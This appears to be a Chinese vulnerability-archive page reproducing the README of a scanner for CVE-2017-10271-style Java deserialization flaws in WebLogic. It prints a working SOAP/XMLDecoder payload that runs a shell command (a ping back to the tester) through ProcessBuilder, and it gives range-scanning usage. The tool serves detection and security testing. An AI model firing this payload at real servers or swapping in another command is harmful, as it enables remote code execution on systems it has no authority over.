关联漏洞
            
        
            描述
            针对类似CVE-2017-10271漏洞的一个java反序列化漏洞扫描器
        
        
            介绍
            # java反序列化漏洞检测
针对类似CVE-2017-10271漏洞的一个java反序列化漏洞扫描器,此项目中只有一个poc,其他暂时未做整理。
## 安装
1. 安装nmap
   	https://nmap.org/download.html 根据操作系统的不同,下载不同的版本安装。
2. 安装第三方包
   `pip install -r requirements.txt`
3. 扫描
   修改poc,将ping命令中的ip地址改为自己的ip地址
   修改第25行sniff代码
   ```
   sniff(filter='icmp and yourIP',prn=packet_callback)
   ```
   `java_scan.py -i IP地址 [options]
   java_scan.py -h 获得帮助`
## 使用
#### 1.poc
> 使用前务必修改poc,将ping命令中的ip地址改为自己的ip地址
poc为两个json格式的文件分别适用于windows和linux(目前并没有加入指定poc路径的功能,后续版本中将加入该功能)请务必在程序目录使用poc.json和poc_win.json命名poc。
关于poc的格式(linux版,windows版类似)
```json
{
  "url":"wls-wsat/CoordinatorPortType",
  "header": "Content-Type:text/xml",
  "data": [
    "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
        "<soapenv:Header>",
            "<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
               "<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
                    "<void class='java.lang.ProcessBuilder'>",
                        "<array class='java.lang.String' length='3'>",
                            "<void index='0'>",
                                "<string>/bin/bash</string>",
                            "</void>",
                            "<void index='1'>",
                                "<string>-c</string>",
                            "</void>",
                            "<void index='2'>",
                                "<string>ping 10.60.18.5 -c 2</string>",
                            "</void>",
                        "</array>",
                    "<void method='start'/></void>",
                "</java>",
            "</work:WorkContext>",
        "</soapenv:Header>",
        "<soapenv:Body/>",
    "</soapenv:Envelope>"
  ]
}
```
url指定漏洞利用的目录,header指定post包中新加入的header内容,data是要发送的序列化的内容。
**注意此poc要让漏洞主机返回2个ping包,程序检测到ICMP包时才能确定漏洞存在。**
#### 2.使用nmap对局域网进行扫描
程序默认扫描是调用的nmap对局域网进行扫描
```
java_scan.py -i 192.168.0.1
```
这样扫描是对192.168.0.1的主机的7001端口进行扫描
#### 3.指定ip和端口
指定单个ip和端口
`java_scan.py -i 192.168.0.1 -p 7001`
指定多个ip和多个端口
`java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001`
指定ip范围和端口范围
`java_scan.py -i 192.168.0.1-255 -p 7000-8000` 
#### 4.快速的端口开放探测
使用-f参数,将调用socket对端口进行快速探测
`java_scan.py -i 192.168.0.1-255 -p 7001 -f`
指定快速端口探测的线程数
`java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100`
#### 5.效果

        
        文件快照
        
            
                
 [4.0K]  /data/pocs/d28631e0c4fb1300c9455b3895935b0e04f3067e
├── [4.0K]  images
│   └── [ 69K]  final.png
├── [7.4K]  java_scan.py
├── [1.2K]  poc.json
├── [1.2K]  poc_win.json
├── [3.1K]  README.md
└── [2.5K]  Threading.py
1 directory, 6 files
                
             
         
        备注
        
            
                1. 建议优先通过来源进行访问。
                2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
                3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。